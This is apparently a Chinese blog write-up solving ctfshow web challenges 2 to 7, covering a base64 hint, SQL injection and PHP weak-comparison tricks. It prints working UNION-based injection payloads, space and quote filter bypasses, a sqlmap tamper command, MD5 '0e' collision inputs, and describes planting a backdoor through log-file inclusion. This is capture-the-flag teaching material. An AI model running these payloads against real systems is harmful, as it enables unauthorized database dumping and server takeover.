当前位置: 首页 > news >正文

ctfshow web类 2-7题

  • 签到题

  • 右键base64解密
  • 2、就是纯post模式的sql注入

  • 使用联合查询进行1' union select 1,table_name,3 from information_schema.tables where table_schema=database() #
  • 这个题有个坑就是涉及到回显位置

  • 他这个就是回显位置是 2 这个地方 其他的位置是不会回显的
  • 获取列
  • 1' union select 1,column_name,3 from information_schema.columns where table_name='flag' #

  • 得到列只有一个就是flag 那就进行查询数据
  • 1' union select 1,flag,3 from flag#

  • 3、文件包含

  • 4、文件包含类 日志拿权

  • 日志文件地址
    linux: 
    /var/log/httpd/access_log
    /var/log/apache/access.log
    /var/log/nginx/access.log

  • 抓包

  • 在日志上进行写入后门  页面中有了

  • 后门工具连接

  • 5、 php脆弱性:

  • 不同类型 == 转换之后 只需要是相同类型的就会返回true
  • ctype_alpha() 检测字符串函数
  • https://f83cb79f-b938-4bb1-a67d-28475a3e07ab.challenge.ctf.show/?v1=QNKCDZO&v2=240610708
  • MD5 加密的缺陷 主要还是 == 判断的是类型相同性 如果加密的结果都是 0e 开头那就好出现相同性
  • 6、sql 注入但是空格被过滤

  • 手工: 可以使用 /**/ 进行过滤掉 也可以使用sqlmap自带的脚本
  • python3 sqlmap.py -u "" --batch -- tamper=space2morecomment --leve=3
  • --batch 自动选择交互内容为 y
  • -- tamper=space2morecomment 使用空格转换脚本
  • --leve=3 精细处理
  • 7、过滤掉了 空格和 ''

  • 先进行检测

  • 报错说明 and 1=1# 有东西被过滤了 可能是 and 或者是 空格

  • 这个情况就是空格了 空格被过滤可以使用 注释符号代替 /**/
  • 判断哪个是过滤掉的逻辑

  • 我常用的方法就是在这个 参数前面加上 这个过滤符号 看看还能不能正常显示 如果正常说明这个就是被过滤了

  • 还有一个情况就是说明被拦截了 说明 ' 不能进行使用了

  • '' 的过滤就是 1、 16进制加密 2、使用char(97,98) 这样使用ascii进行拼接
  • -1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

  • ?id=-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=CHAR(102,108,97,103)#

  • ?id=-1/**/union/**/select/**/1,2,flag/**/from/**/flag#

相关文章:

  • LLMs可在2位精度下保持高准确率
  • AWS Lambda 架构深入探究
  • 客户端 AI 与服务器端 AI 的深度比较及实践建议?
  • Shader属性讲解+Cg语言讲解
  • 【codeforces思维题】前缀和的巧妙应用(2053B)
  • CF912E
  • 跨团队协作时流程不统一,如何协调
  • HarmonyOS:1.7
  • stm32教程:HC-SR04超声波模块
  • 是否可以使用非被动 S4P 文件进行反嵌?
  • KAN 与 MLP 的深入比较
  • Spring Boot Actuator 详细使用说明(完整代码与配置)
  • 第五篇:linux之vim编辑器、用户相关
  • 精准管控,安全护航 -Acrel-2000 电力监控系统助力配电房数字化升级
  • [企业应用开发] 十年稳定使用体验谈:Bex5 企业内部系统开发平台实践总结
  • 基于机器学习的多光谱遥感图像分类方法研究与定量评估
  • Linux与Anaconda环境部署与管理(运维交接)
  • Windows 同步-Windows 单向链表和互锁链表
  • OpenCV物体计数示例
  • docker本地虚拟机配置
  • 王励勤当选中国乒乓球协会新一任主席
  • 18米巨作绘写伏羲女娲,安徽展石虎最后十年重彩画
  • 新质观察|解构低空经济产业集群发展战略
  • 上海农房翻建为何难?基层盼政策适度松动
  • 心源性猝死正“猎杀”年轻人,这几招保命法则要学会
  • 中国房地产报:以改促治实现楼市多难并解